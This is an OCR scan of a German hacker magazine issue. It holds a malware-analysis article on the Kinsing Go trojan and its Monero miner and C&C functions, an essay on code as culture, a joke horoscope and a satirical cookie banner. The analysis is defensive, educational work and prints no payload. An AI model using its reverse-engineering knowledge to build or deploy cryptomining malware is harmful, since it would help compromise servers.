CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gopclntab 001l7aca5 0000000001027fe® 0000000001027fed® 00c27fe® 2%*5
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .go.buildinfo 00000020 000000000112a3000 000000000112a3000 00da3000 2*x4
CONTENTS, ALLOC, LOAD, DATA
11 .note.go.buildid 64 400f9c 400f9c  00000f9c 2*x*2
CONTENTS, ALLOC, LOAD, READONLY, DATA

Wir sehen mehrere Sections in dem Hea-
der, die sich auf Go beziehen. Der Abschnitt
»-go.buildinfo® enthilt die Information welche
Go-Compiler-Version benutzt wurde. Das kon-
nen wir auch herausfinden, indem wir die Go-
Runtime bitten uns diese Information auszule-
sen.

$ go version ./kinsing

./kinsing: gol.15.4

$ objdump -s -j .go.buildinfo ./kinsing

./kinsing: file format elf64-x86-64
Contents of section .go.buildinfo:

1123000 ff20476f 20627569 6c64696e 66320800
1123010 c0541e01 00000000 00551e01l OOOOEOOO

Dieser Abschnitt enthalt die spezifische Go-
Compilerversion, mit der diese Datei kompi-
liert wurde. Um sie herauszufinden, miissen
wir die Daten verstehen. Mit Hilfe des Go-

Aber wir versuchen etwas tiber Binérdatei-
Analyse zu lernen, also schauen wir uns den
Abschnitt ,,.go.buildinfo“ in der Binérdatei ge-
nauer mit objdump an. Und aulerdem ist bei
,objdump® die Gefahr geringer versehentlich
kinsing auszufithren, als mit der Go-Runtime.
Der Parameter ,-s“ gibt an den Inhalt des Ab-
schnitts, der mit ,-j* benannt wird, auszuge-
ben.

. Go buildinf:..

Quellcodes [6] wissen wir, wie .go.buildin-
fo strukturiert ist.

Am Anfang steht ein 14 Byte langer Magic
Value, der den Wert 0xff und den 12 Zeichen

B4 oxs4

Datenschleuder 106 /2022

¥



Reverse Engineering von Malware und Golang Binaries

langen String ,Go buildinf:“ beinhaltet. Da-
nach kommt ein Byte, das angibt wie lang die
Pointer-Adressen sind. 0x04 bedeutet sie sind
4 Bytes lang und 0x08 bedeutet sie sind 8 Bytes
lang. Zuletzt kommt ein Byte, das angibt, ob
die Pointer-Adressen als little endian (0x00)
oder big endian (0x01) kodiert sind. [7] In die-
sem Beispiel lauten die Bytes 15 und 16 ,0800%.
Der folgende Pointer ist also 8 Bytes lang und
als little endian kodiert. Die nachfolgenden

Ce=

8 Byte sind dann unser Pointer auf die Versi-
onsnummer: ,,c0541e01 00000000,

Wir kénnen objdump benutzen um die Da-
ten an der Stelle ,,c0541e01 00000000“ in der
Binérdatei auszulesen. Dafiir miissen wir die
Adresse erst noch von little endian auf big
endian umstellen: ,00000000 011e54c0“. Wir
lesen 8 Byte aus und geben deshalb als Stopp-
Adresse die Start-Adresse plus 8 Byte an.

$ objdump -s --start-address=0x011e54cO --stop-address=0x011le54c8 ./kinsing

./kinsing: file format elf64-x86-64

Contents of section .data:

11e54cO a36a7b00 0OOOOOOO .3{

Ein Pointer ist eine Adresse, die angibt wo
eine Adresse steht. Also miissen wir das
Spiel wiederholen, um zur tatsachlichen In-

formation zu kommen. Wir wandeln also
,236a7b00 0000000 wieder in big endian um
und lesen dann 8 Byte aus.

$ objdump -s --start-address=0x007b6aa3 --stop-address=0x007b6aab ./kinsing

./kinsing: file format elf64-x86-64

Contents of section .rodata:

7b6aa3 67 6f312e31 352e34

Voila, wir haben herausgefunden, dass kinsing
mit der Go-Version 1.15.4 kompiliert wurde.

Reversing

Jetzt ist es an der Zeit sich die Datei mit einem
Disassembler anzuschauen.

Wir haben die Datei mit Ghidra [8] und
radare2 [9] analysiert. Ghidra ist aber nicht di-
rekt nach der Installation hilfreich, da keinerlei
Symbolnamen oder Funktionsnamen extra-
hiert werden. Es gibt aber ein Skript [10] von

gol.15.4

Assembler

Ein Dissassembler tibersetzt eine Bindrdatei
zuriick in Assembler. Assembler ist eine ma-
schinenorientierte Programmiersprache. Im
Gegensatz zu einer Hochsprache wie C oder
Go, wo die Syntax im Wesentlichen unab-
hangig von der eingesetzten Prozessorarchi-
tektur ist, sind die Programmierbefehle bei
Assembler Maschinenbefehle, die abhingig
von der Prozessorarchitektur sind.

Datenschleuder 106 /2022
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Ce=

ThreatIntel, was dies implementiert. Als Alter-
native kann man radare2 oder iaito [11] benut-
zen, was dies Out-of-the-Box tut, mit einigen
minimalen Differenzen (zum Beispiel werden
verschiedene Entryfunktionen ausgewéhlt).

Da kinsing mit Debug-Informationen kom-
piliert wurde, kénnen noch einige andere In-
formationen aus der Binardatei gezogen wer-
den. Beispielsweise ist es moglich abzulesen
welche Go-Module benutzt wurden, um kin-
sing zu bauen. Die Modulnamen lassen sich im
Disassembler finden, indem wir nach Symbo-
len, die mit sym. go.github.com_ anfangen,
suchen. Zusitzlich haben wir auch ,strings”
benutzt, um uns alle in der Binédrdatei gespei-
cherten Texte ausgeben zu lassen und haben
diese nach ,github® gefiltert.

Einige Abhangigkeiten von Kinsing sind
hier gelistet:

¥

oy (iNRE4_t argl, inté4_t arg S3h, inté4_t arg_6oh,

« https://github.com/peterbourgon/diskv

« https://github.com/paulbellamy/ratecou
nter

« https://github.com/armon/go-socks5

« https://github.com/hashicorp/yamux

« https://github.com/markbates/pkger

« https://github.com/shirou/gopsutil

« https://github.com/op/go-logging

« https://github.com/nu7hatch/gouuid

Diese Links kénnen wir jetzt benutzen, um
die Dokumentation und den Quellcode der ge-
nutzten Module anzuschauen und besser zu
verstehen, was in kinsing passiert.

Die Programmstruktur einer disassemblier-
ten Bindrdatei wird mit einem Callgraph klarer.
Ein Callgraph ist ein Kontrollflussdiagramm,
das anzeigt welche Funktionen von welchen
anderen Funktionen aufgerufen wird. [12]

int64_t arg_68h);

Jede Funktion beziehungsweise jede Go-Routine ruft go.runtime.morestack auf, was pro

Iteration den Aufrufstapel um 2 KiB erhoht.

Mit Hilfe von bekannten Kommandozeilenpro-
gramme und RegExp haben wir einige inter-
essante Datenstrukturen gefunden. Neben IP-

Adressen ist an der Adresse 0x007ce25f ein
eingebettetes Shell-Skript zu sehen:

B8 0x56
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,Shebang® genannten ersten Zeile erkennbar, die

angibt mit welchem Programm das Skript interpretiert werden soll. Hier #//bin/sh.

Dieses Skript wird von go.main.masscan in
eine Datei gespeichert und ausgefiihrt. Das
Skript versucht eine Datei Namens firewire aus
dem Internet herunterzuladen und auszufith-
ren. Wir konnten uns firewire nicht anschauen,
da an der Download-URL keine Datei zu fin-
den war. Deshalb ist uns nicht klar, was das
Programm firewire tut, aber wir gehen davon
aus, dass es wegen des Funktionsnamens ein
Port-Scanner ist. [13]

Wir haben auch Health-Checker-
Funktionen gefunden, welche die Datenin-
tegritit nach einer Round-Trip-Ubertragung
zwischen = Command-and-Control-(C&C)-

Servern und dem kompromittierten Gerit
iberpriifen, generierte UUIDs fiir jedes kom-
promittierte Gerét, und so weiter.

Die bei weitem interessanteste Funktion
war go.main.minRun und sie ist fir die Ver-
waltung des Miners verantwortlich. Diese
Funktion arbeitet mit Hilfe folgender Helper-
Funktionen:

» go.main.minRun

+ go.main.getMinerPid

» go.main.isMinerRunning

« go.main.sendMinerPid

+ go.main.tryToRunMiner

Der Callgraph hierzu:
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I sym.go.main.isMinerRunning I

;.I sym.go.runtime morestack_noctxt I

[sym.go.g ithub.com_shirou_gopsutil_process NewPro cess]

+ym .go.github.com_op_go_logging._Logger_. Iugl

x 3 3 x
I sym.go.main.setlog | I sym.go.main.sendMinerfid I Isym.go.mam.runcmdi I sym.go.main.iryToRunMiner I

go.main.minRun extrahiert den eingebetteten
Miner, speichert diesen auf der Festplatte und
fihrt ihn aus. go.main.isMinerRunning prift
dessen Status mit gopsutil. [14] go.main.try-
ToRunMiner setzt die richtigen Dateibe-
rechtigungen und versucht das Programm
ykdevtmpfsi“ zu starten. go.main.getMinerPid
und go.main.sendMinerPid fihren HTTP GET-

beziehungsweise PUT-Anfragen durch [15]
und rufen go.main.getActiveC2CURL auf. Die
letzte Funktion bedeutet ,get active command
& control URL®. Diese Funktion dekodiert
und entschliisselt eine Base64-encodete und
RC4-verschliisselte Variable, was hochstwahr-
scheinlich die IP-Adresse oder die URL des
C&C-Servers enthilt.

I sym.go.main.getActiveC2CuUrl

#] sym.go.main.RC4

»

I sym.go.runtime.stringtoslicebyte I

I sym.go.runtime slicebytetostring I

3
I sym.go.encoding_hex.Decode I

I sym.go.runtime.morestack_noctxt I

I sym.go.runtime.panicSliceAcap |

getActiveC2CUrl nutzt RC4, eine Hex-Decoding-Funktion und ein paar Funktionen um Strings

zu bearbeiten.

kdevtmpfsi ist in diesem Artikel nicht erfasst,
da wir leider keinen Zugang zu dieser Datei
hatten. Eine kurze Internetsuche ergibt, dass
es offenbar ein primir fiir ,Monero“ genutzter
und bekannter Miner ist. [5]

Auf unserem Server stellen wir noch ein
paar Dateien zur Verfiigung, die nicht sinnvoll
abdruckbar sind. Beispielsweise finden sich
dort ein paar grofie Callgraphen mit weiteren
Details zur Funktion von kinsing. [16]
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Fazit

Kinsing ist in letzter Zeit inaktiv und deren
C&C-Server sind seit Anfang des Jahres nicht
mehr verfiigbar. Ahnliche Trojaner verbreiten
sich aber aktiv, und deren Verhalten fithrt zu
teuren Schaden. Daher ist es sinnvoll zu ver-
stehen wie Malware funktioniert und wie man
sich davor schiitzen kann. In diesem Fall reicht
es aus, einen sinnvoll gesicherten und aktuell
gehaltenen Server zu haben.
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Code als Kunst- und Kultursprache

von Jan-Christian Petersen <petersen@j-c-p.eu>

Code gilt als Werkzeug des Ingenieurwesens. Doch ob wir wollen oder nicht: Programmier-
sprache bringt auch unsere Menschlichkeit zum Ausdruck. Wer in Gemeinschaft ethisch und
kulturell wachsen méchte, sollte die iiberfunktionalen Eigenschaften von Code lesen und
schreiben lernen. — Eine Annéherung an den Raum der Extrafunktionalitat mit Stimmen von

Dylan Beattie (UK), Jon Corbett (CA) und Mark C. Marino (USA).

,0O, brave new world®, begeistert sich Miranda,
als sie zum ersten Mal auf andere Menschen
trifft. Miranda lebt mit ihrem Vater Prospe-
ro auf einer abgelegenen Insel. Die liegt im
Theaterstiick ,Der Sturm“ von William Shake-
speare und ist von wenigen, aber merkwiirdi-
gen Wesen bewohnt, die Prospero je nach ihrer
Funktion mit seiner Magie zu lenken versteht.

320 Jahre spater macht Aldous Huxley aus
dem besagten Shakespeare-Zitat eine Dysto-
pie, die uns mit Social Engineering die Zauber-
kiinste des Prospero aktualisiert — von einer
magischen hin zu einer rationalen Einflussnah-
me.

In dem 1932 veroffentlichten Roman ,Bra-
ve New World“ beschreibt Aldous Huxley
eine Dystopie, in der die Menschen durch
vorgeburtliche Einflussnahme, frithkindli-
che Konditionierung und Drogen strikt in
ihrer gesellschaftlichen Kaste gehalten wer-
den. Das Funktionieren der gesellschaftli-
chen Maschinerie steht tiber dem Individu-
um, Uber den Menschen, tiber allem. [1]

Dieser Tage spiegelt sich die Menschmaschi-
ne in Entwickler-Magazinen: ,Das Herz einer
Anwendung ist seine Logik®, erklart dotnet-
pro.de. [2] Auf heise.de geht es in Cyberpunk-
Manier um die Moglichkeiten der syntheti-
schen Biologie [3] und t3n.de berichtet, wie
man vor dem Einschlafen seine Gedanken ka-

tegorisiert, um am néichsten Tag wieder voll
funktionsfahig zu sein. ,,O, brave new world!“
So steuern wir uns in die Effektivitat. Ziel ist
der optimale, zweckorientierte Nutzen unserer
geistigen, korperlichen und zeitlichen Fahig-
keiten. Das ist eine Pragung des Ingenieurwe-
sens. Effektivitat ist dabei das, was eine gute
Anwendung ausmacht. Fiir Programmiererin-
nen und Programmierer ist das eine Weltsicht,
die schon das Informatikstudium bestimmt.
Doch es gibt immer wieder Menschen, die aus
dem System ausbrechen und ihre Ressourcen
fur scheinbar zweckfreie Anwendungen ver-
schwenden: Kiinstlerinnen und Kinstler.

Code und Sinn

Aber wo liegt der Sinn, wenn Programmiere-
rinnen und Programmierer einen Code schrei-
ben, der iiber jegliche Funktion hinausgeht?
Das wollte ich zunéichst von Dylan Beattie [5]
wissen, nachdem ich auf YouTube seinen Vor-
trag ,The Art of Code” [6] gesehen hatte.

,Gute Frage®, antwortet der Londoner Soft-
wareentwickler und -berater. Beattie ist Schop-
fer der Programmiersprache Rockstar. Quell-
code lasst sich hier auch als Rocksong sin-
gen, da er aus Phrasen und Formulierungen
des Genres besteht. Statt <print ,,Hello World“>
heif3t es beispielsweise <scream> oder <shout>.
Beattie meint:

2,
b
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Ich denke, dass die Programmierkunst als
Ganzes enorm von den Beitrdagen jener Men-
schen profitiert, die Code als kreatives Medi-
um behandeln; denn Code ist wirklich nur
eine andere Form von Sprache. Allerdings ist
es eine Sprache mit dem niitzlichen Neben-
effekt, dass Computer sie ausfiithren konnen.
Wenn du dir die meisten menschlichen Spra-
chen ansiehst, reicht das Spektrum von sehr
trockenem technischen Schreiben, juristischen
Vertrdgen und technischen Spezifikationen
bis hin zu Gedichten, Liedtexten oder sogar
bis zu Dingen wie Kreuzwortrdtseln, die un-
sere Konventionen iiber die Struktur und In-
terpretation von Sprache bewusst herausfor-
dern. Kreatives Programmieren kann uns in-
spirieren und ermutigen, die Méglichkeiten
von Sprachen und Plattformen auf neue und
unerwartete Weise zu erkunden.

Ahnlich sieht es auch Jon Corbett [7] aus
Kanada. Der Kiinstler und Programmierer ist
als Sessional Lecturer an der Universitit von
British Columbia tatig. Er gehort zur Volks-
gruppe der Métis. Das heifit, er hat Vorfah-
ren unter den zugewanderten Européer*innen,
aber auch unter den indigenen Vélkern Nord-
amerikas. Hier gehort Corbett zum indigenen
Volk der Cree. Auf Basis der Cree-Sprache und
der Cree-Schrift hat Corbett nun eine eigene
Programmiersprache entwickelt: Cree#.

Was Cree# fur Corbett bedeutet, erklart er
so: ,Als ich an meinem Master of Fine Arts
arbeitete, beschaftigte ich mich mit Métis-
Perlenarbeiten. Konkret setzte sich Corbett
dabei mit der Gedenkkultur seines Volkes aus-
einander. Um die Erinnerung an Vorfahren zu
bewahren, werden hier Portrats von Familien-

Ce=
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smudge
story called
Raven
Tree
animate
Raven
5 Ravens
1 Raven
Raven #3
All the Ravens
Raven 21 hello turtle
Raven
Raven
smudge
inanimate

Entwickleransicht von Cree#-Quellcode.

Oben steht das Original in Schrift und Spra-
che der Cree. Unten steht die englische Vari-
ante. (Jon Corbett)

angehorigen mit Perlen (dhnlich wie Pixel) auf
Schniire aufgezogen.

Das ist ein langwieriger Prozess. Deshalb
schrieb ich ein Programm, das mir bei eini-
gen Entscheidungen wie Perlenauswahl und
-platzierung half. So brauchte ich kein physi-
sches Muster erstellen, wodurch ich viel Zeit
habe sparen konnen. Dabei habe ich den Code
zundchst zum Spaf3 weiter verdndert, um
mein tatsdchliches Perlenschniiren zu reflek-
tieren. [...] Das fiihrte zu einer regelrechten
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Erforschung von Zeit; denn wie Zeit sowohl
rechnerisch als auch in der gelebten Kultur
der Cree wahrgenommen wird, ist ein gewal-
tiger Unterschied.

Fiir Corbett ist es wichtig, eine Program-
miersprache zu haben, die die Konzepte der
Cree-Kultur spiegelt.

In Ergénzung zur Programmiersprache
Rockstar lasst sich nachvollziehen, was es be-
deutet, wenn Begriffe, Metaphern und Ge-
schichten aus der eigenen gelebten Kultur in
jene Sprache eingehen, in der man sich zu Hau-
se fiihlt. Das ist eine sinnstiftende Erweiterung
des kulturellen Raums. Es starkt die eigene
Identitit und die Gemeinschaft, in der man
lebt.

Code als Kultur

Es gilt, Code nicht nur funktional, sondern
auch kulturell zu interpretieren. ,Wir miis-
sen Code fiir mehr lesen als das, was er tut,
wir miissen uns fragen, was er bedeutet®, sagt
Mark C. Marino von der Universitat Stidkali-
fornien. Der Associate Professor fiir Literatur
ist Leiter des Labors fiir Humanities and Criti-
cal Code Studies, dem HaCCS Lab. [8]

Marino macht sich fiir eine breitere Ausle-
gung von Quellcode stark, die schon im Infor-
matikstudium gelehrt werden sollte. Seine Cri-
tical Code Studies sind auch als Buch erschie-
nen. [9] Dabei handelt es sich im Wesentlichen
um die Kunst der Auslegung von Quellcode;
denn Code sei inzwischen Teil aller Lebensbe-
reiche. Marino schlagt nun vor, Quellcode wie
ein Stiick Literatur auf seine extrafunktionalen
Eigenschaften hin zu befragen, da sonst we-
sentliche Teile unserer Menschlichkeit nicht
mehr erfasst wiirden, die im Code steckten
oder aus ihm erwachsen. Marino fiihrt das un-
tenstehende Foto als Beispiel an. [10]

{Void main()
do

no ._Q[_.mﬁmm ++
printf (" Protest
conhinue s‘}
lwhﬂe(ld\pal bill riot paved)

Printf: (" (orrypion free TNDIR);
gekch()

Protestcode; Code als politische Botschaft.
(Indien 2011)

Es stammt aus dem Jahr 2011 und zeigt eine
Frau in Indien, die gegen die Korruption in
ihrem Land protestiert. Dabei nutzt sie Quell-
code, um eine gesellschaftliche und politische
Debatte anzustofien. Als das Bild damals im
Internet zu kursieren begann, hatten Program-
miererinnen und Programmierer lediglich an-
gefangen, Fehler im Code der jungen Frau auf-
zudecken und sie dafiir blof8zustellen. Der tat-
sachliche Kontext aber, in dem dieser Code
funktioniert und der ein politischer ist, sahen
sie gar nicht; denn fiir die junge Frau ist Quell-
code hier eine Moglichkeit, ihre politische Mei-
nung zu formulieren.

o]
& bﬁ 0x5¢
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Code ist also weit mehr als blofy zweckori-
entierte Funktionalitit im Sinne des Ingenieur-
wesens. Er transportiert immer auch das Wis-
sen, die Erfahrung und die Haltung derjenigen,
die ihn schreiben und interpretieren. Und wir
tun gut daran, diese Eigenschaften mitzulesen
und sich ihnen bewusst zu sein.

Referenzen

[1] Aldous Huxley: ,Brave New World. A
Novel. (1932)

[2] dotnetpro: ,Core®, https://www.dotnetpr
o.de/core-893531.html

[3] Heise+: ,Synthetische Biologie: Junge
Disziplin programmiert das Leben neu®
(2022), https://www.heise.de/hintergrund
/a-7097643.html

(4]

(5]
(6]

(7]
(8]
(9]

(2

t3n: ,Besser schlafen dank Braindump: So
sortierst du das Chaos im Kopf® (2022),
https://t3n.de/news/a-1216524/
Homepage von Dylan Beattie: https:
//dylanbeattie.net

Dylan Beattie: ,The Art of Code® (2020),
https://www.youtube.com/watch?v=6av)
HaC3C2U

Homepage von Jon Corbett: http:
//joncorbett.ca

HaCCS Lab, Mark C. Marino: http:
//haccslab.com

Mark C. Marino: ,Critical Code Studies
(Buch)“ (2020), https://mitpress.mit.edu/b
ooks/critical-code-studies

[10] Mark C. Marino: ,Critical Code Studies

(Vortrag)“ (2021), https://www.youtube.
com/watch?v=_oKflgNPMXA&t=3363s

Als ich es hatte,
ging es noch.

Herkunft unbekannt

Datenschleuder 106 /2022

0x5D E‘@


https://www.dotnetpro.de/core-893531.html
https://www.dotnetpro.de/core-893531.html
https://www.heise.de/hintergrund/a-7097643.html
https://www.heise.de/hintergrund/a-7097643.html
https://t3n.de/news/a-1216524/
https://dylanbeattie.net
https://dylanbeattie.net
https://www.youtube.com/watch?v=6avJHaC3C2U
https://www.youtube.com/watch?v=6avJHaC3C2U
http://joncorbett.ca
http://joncorbett.ca
http://haccslab.com
http://haccslab.com
https://mitpress.mit.edu/books/critical-code-studies
https://mitpress.mit.edu/books/critical-code-studies
https://www.youtube.com/watch?v=_oKfIqNPMXA&t=3363s
https://www.youtube.com/watch?v=_oKfIqNPMXA&t=3363s

Radosaurier

21.01, - 19.02.

Was man nicht im Kopf
hat, das verschiebe nicht
auf morgen.

Diaha)
21.04. — 20.05
Dem Hahn, der zu frith
kraht, schaut man nicht
ins Maul.

Tacocat
23.07. — 23.08.
Jedes Bohnchen ist
umsonst.

Rakete

2410, — 22:11.

Argwohn wurde nicht an
einem Tag erbaut.

Doge

20.02. = 20.03,

Wenn zwei sich streiten,
tanzen die Mause auf
dem Tisch.

Pinguine
21.05. — 21.06.
Schonheit scheift immer
auf den groBten Haufen.

Panikfrog

24.08. - 23.09.

Stadtluft ist die beste
Medizin.

Faceht u. r
23.11. - 12.

Gut Ding ist der erste

Schritt zur Besserung.

brechstange

21.03. - 20.04.

Kleine Geschenke
verlassen das sinkende
Schiff.

Fidgetspinner

22.06, — 22.07.

Gelegenheit wahrt am
langsten.

Robodog
24.09. — 23.10.
Hunde, die bellen,
erhalten die
Freundschaft.

Fritten

e2.12. — 20.01.

Zeit ist kein Ponyhof.



&Y Dark Pattern: Cookie Consent ¢,

Wir nutzen Dark Patterns, um u.a. dein Leseerlebnis zu verbessern. Ein Dark Pattern ist
ein Design, das dich gerauschlos dabei unterstiitzt etwas entgegen deiner Interessen zu
tun. Auf diese Weise machst du neue Erfahrungen und erweiterst deinen Horizont.

 Forcierte Kontinuitét: Mit deiner Zustimmung bekommst du diese Ausgabe zum Preis von
zweieinhalb Keksen. Unser Service an dich: Du abonnierst damit automatisch die nachsten
Ausgaben der Datenschleuder zum vollen Kekspackungspreis.

Vorsétzliche Irrefilhrung: Am besten schaust du dir nur diese Option an, das ist fir uns
alle das Beste.*

Kéder & Tausch: Wenn du dieses Hakchen entfernst, werden alle anderen
Hékchen zuriickgesetzt.

Versteckte Kosten: Zusétzliche Verpackungskosten, die wir dir verraten,
wenn wir uns bereit dafiir fihlen.

Schabenfalle: Um unseren Abmachungen zuzustimmen, musst du lediglich diese Ausgabe
dffnen. Widerspriiche miissen schriftlich per Fax geschickt werden an eine Nummer, die du
erstmal finden darfst. Hahah, happy Easter-egging!

Verdeckte Preise: Du konntest das DS-Deluxe-Paket, das Premium-Paket oder das Magic-

Fairydust-Paket bekommen zu hm ... irgendeinem Preis. (Tipp: Trenne vorsichtig mit einem
Lasercutter die Schicht zwischen den Seiten Ox2a und 0x2b. Dort findest du unser aktuelles

und mit Zitronentinte repliziertes Preisverzeichnis.)

Versteckte Anzeigen: Zwischen all diesen Bestimmungen kénnte deine Werbung stehen.

Datenschutz-Zuckering: Mit deiner Zustimmung erlaubst du uns, deine Daten an beliebige
Dritte weiterzugeben. Sicher fragst du dich wer das ist. Ein Teil dieser Antwort wiirde dich
verunsichern, deswegen stell dir einfach selbst vor wer es sein kénnte.

Wachstums-Hacking durch Spamming: Gib uns am besten auch gleich deine Adress-
blicher, damit wir deine Bekannten von deiner groBartigen Entscheidung, Kundin der
Datenschleuder zu sein, informieren konnen.

In den Korb schleichen: Ubrigens haben wir dir noch ein Papphiitchen zum Abo dazuge-
packt, Du kannst es dir aus dem Cover falten. Es kostet leider etwas extra, ist aber als
Service von uns schonmal in deinem Einkaufskorb gelandet.

StraRensperre: Stopp. Hammertime.

Fehlinformationen: Klick hier fir mehr Informationen. Ach ja, du kannst ja gar
nicht klicken. Schaaade, aber egal.

Unsere Datenschutzerkldrung: 2 h Lese- und
verbessern Lebenszeit, um deine Privatsphére auf dieser
einen Seite evtl, zu sichern
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